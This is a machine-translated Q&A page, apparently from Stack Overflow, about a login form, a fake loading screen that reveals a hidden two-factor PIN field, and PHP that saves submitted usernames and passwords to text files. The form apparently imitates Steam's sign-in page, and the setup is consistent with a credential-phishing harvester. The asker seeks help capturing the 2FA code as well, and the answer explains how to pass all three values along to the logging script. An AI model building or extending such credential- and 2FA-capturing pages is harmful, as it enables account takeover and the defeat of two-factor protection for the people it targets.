2017-08-04 66 views
0

目前我有兩種形式,一種用於用戶名和密碼,一種用於特殊認證引腳。如何一次寫入多個表單到一個文件

用戶名和密碼

<form action="#" method="POST" id="hello" onsubmit="return false;"> 
<div id="loadingGif" style="display:none"><img src="#"></div> 

<input class="btn_green_white_innerfade btn_medium" type="submit" 
name="submit" id="userLogin" value="Sign in" width="104" height="25" 
border="0" tabindex="5" onclick="showDiv()"> 
      <div class="mainLoginLeftPanel_signin"> 
       <label for="userAccountName">username</label><br> 
       <input class="textField" type="text" name="username" 
id="userAccountName" maxlength="64" tabindex="1" value=""><br>&nbsp;<br> 
       <label for="userPassword">Password</label><br> 
       <input class="textField" type="password" name="password" 
id="userPassword" autocomplete="off" maxlength="64" tabindex="2"><br> 
       <div id="passwordclearlabel" style="text-align: left; 
display: none;">It seems that you may be having trouble entering your 
password. We will now show your password in plain text (login is still 
secure).</div> 
</div> 

通過添加/loginaction.php進入行動=「」,我可以用PHP寫的用戶名和密碼輸入到一個文本文件,但現在我想在特殊的雙因子引腳上做同樣的事情,將文件添加到action =「」中,在div顯示之前刷新頁面,允許用戶輸入pin,我需要幫助找到一種方法將所有三個輸入寫入這個文本文件,任何幫助將不勝感激,對此非常新

函數顯示代碼輸入的div在這裏

function showDiv() { 
    document.getElementById('userLogin').style.display = "none"; 
    document.getElementById('loadingGif').style.display = "block"; 
    setTimeout(function() { 
     document.getElementById('loadingGif').style.display = "none"; 
     document.getElementById('showme').style.display = "block"; 
    },2000); 
} 

寫入該文件的PHP代碼

<?php 
$myfile = fopen("newfile_" . uniqid() . ".txt", "w") or die("File written"); 
$txt = $_POST['username'] . ':' . $_POST['password']; 
fwrite($myfile, $txt); 
fclose($myfile); 
echo "LOREM IPSUM:("; 
?> 
+2

這在數據庫中會更容易並且更安全。也不要存儲純文本密碼。 – chris85

+0

它目前僅供個人使用 –

+1

那麼現在呢'我認爲你打算在某個地方在其他地方使用它。不妨先學習正確的方法。 – chris85

回答

0

你與你問一個有點不清楚。看來你在問,我如何使用一種形式來創建一個用戶名和密碼,然後將它們重定向到另一個頁面,讓他們製作一個pin然後將這三個輸入寫入特定的文本文件?

忽略一個事實,即您可以在一個頁面上完成這兩件事情,而不是您正在做的事情,只需將相關信息發佈到鏈中的下一頁即可。

用戶名&密碼形式 - > POSTS TO - > PIN碼錶格 - > POSTS TO - >處理表格,其中所有三位信息都被處理成相關文本文件。

您只是將用戶名和密碼錶單中的信息作爲隱藏輸入轉發給PIN碼錶單。

相關問題